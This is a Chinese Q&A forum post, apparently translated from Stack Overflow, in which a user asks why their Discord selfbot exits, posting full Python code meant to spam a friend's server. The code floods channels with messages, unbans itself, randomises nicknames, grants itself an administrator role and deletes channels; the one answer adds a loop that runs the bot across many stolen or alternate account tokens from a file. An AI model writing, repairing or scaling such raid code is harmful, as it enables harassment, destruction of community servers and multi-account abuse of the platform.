我正在制作一个不和谐的自我机器人来向我的朋友服务器发送垃圾邮件。但是,在调试过程中,我遇到了很多问题。在此处修复我的部分代码后:Python3 discord selfbot NameError: name 'tokens' is not defined我一直在尝试启动我的机器人,但是当它启动并输入我希望我的机器人发送垃圾邮件的内容时,它就退出了。我不知道为什么,也没有错误消息。我希望我能缩短它,但我完全不知道问题出在哪里。这是所有代码:import discordimport timeimport randomimport stringfrom discord.utils import getfrom discord.ext import commandsimport asyncioprint("make sure that you join the target server on all accounts beforehand, THE ACCOUNTS CAN NOT BE ON ANY OTHER SERVERS")time.sleep(2)response=input("type what you want the bots to spam here: ")client = commands.Bot(command_prefix="", self_bot=True) @client.eventasync def on_member_ban(guild,user): await guild.unban(user) print("removed ban")@client.eventasync def on_message(message): x=100 while int(x)==100: print("message sent "+random.choice(string.ascii_letters)) try: await message.channel.send(response) except: print("message error") pass try: user=message.author await user.edit(nick=str(random.choice(string.ascii_letters))+str(random.choice(string.ascii_letters))+str(random.choice(string.ascii_letters))) except: print("can't change user nick") pass guild=message.guild perms=discord.Permissions(administrator=True) try: user=message.author await guild.create_role(name='TEST', colour=discord.Colour(0x597E8D),permissions=perms) role=get(guild.roles,name='TEST') await user.add_roles(role) except: print("maximum number of roles reached or can't add roles") pass guild=message.guild try: await message.channel.delete() print("channel yeeted") user=message.author except: print("can't add channel") pass @client.eventasync def on_guild_channel_create(channel): await channel.send(response)请让我知道您认为问题出在哪里。任何帮助将不胜感激。
1 回答
忽然笑
TA贡献1806条经验 获得超5个赞
您可以将所有标记读入列表并像这样循环整个代码。
with open("tokens.txt", "r") as f:
tokens = f.read().splitlines()
for token in tokens:
# code here
client.run(token)
添加回答
举报
0/150
提交
取消